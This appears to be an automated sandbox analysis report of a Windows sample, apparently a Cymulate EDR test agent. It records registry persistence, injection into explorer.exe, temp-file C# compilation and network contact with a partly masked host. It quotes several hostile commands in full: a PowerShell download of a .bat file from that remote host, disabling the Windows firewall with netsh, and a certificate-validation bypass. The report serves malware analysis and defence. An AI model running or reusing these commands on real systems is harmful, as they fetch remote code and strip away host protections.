Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
Downloads
- http://re#####l.lionnets.com/cymulateedr/download/dummypayloadbat.bat as %programdata%\cymulate\edr\5efdec5c03490f1b7de19700\helpers\dummypayloadbat.bat
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
Modifies file system
Creates the following files
- %PROGRAMDATA%\microsoft\crypto\rsa\machinekeys\fc1e3851f429ea606d6ff1e01a5229f1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %TEMP%\6pzwlahq.0.cs
- %TEMP%\6pzwlahq.cmdline
- %TEMP%\6pzwlahq.out
- %TEMP%\csc18f8.tmp
- %TEMP%\res1909.tmp
- %TEMP%\6pzwlahq.dll
Deletes the following files
- %TEMP%\res1909.tmp
- %TEMP%\csc18f8.tmp
- %TEMP%\6pzwlahq.0.cs
- %TEMP%\6pzwlahq.pdb
- %TEMP%\6pzwlahq.cmdline
- %TEMP%\6pzwlahq.dll
- %TEMP%\6pzwlahq.out
Network activity
TCP
- 're#####l.lionnets.com':443
UDP
- DNS ASK re#####l.lionnets.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\6pzwlahq.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1909.tmp" "%TEMP%\CSC18F8.tmp"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c powershell -command "(New-Object System.Net.WebClient).DownloadFile( 'http://re#####l.lionnets.com/cymulateEDR/download/DummyPayloadBat.bat', '%PROGRAMDATA%\Cymulate\edr\5efdec5c03490f1b7de1...
- '<SYSTEM32>\cmd.exe' /c netstat -ano && echo 5efdec5c03490f1b7de19700_5e57cf1e24577c6017686c9a
- '<SYSTEM32>\netstat.exe' -ano
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall set currentprofile state off && echo 5efdec5c03490f1b7de19700_5e57cf2724577c6017686ec5
- '<SYSTEM32>\netsh.exe' advfirewall set currentprofile state off
- '<SYSTEM32>\cmd.exe' /c powershell -command "try{add-type 'using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationRe...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "try{add-type 'using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult(ServicePo...
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\6pzwlahq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1909.tmp" "%TEMP%\CSC18F8.tmp"
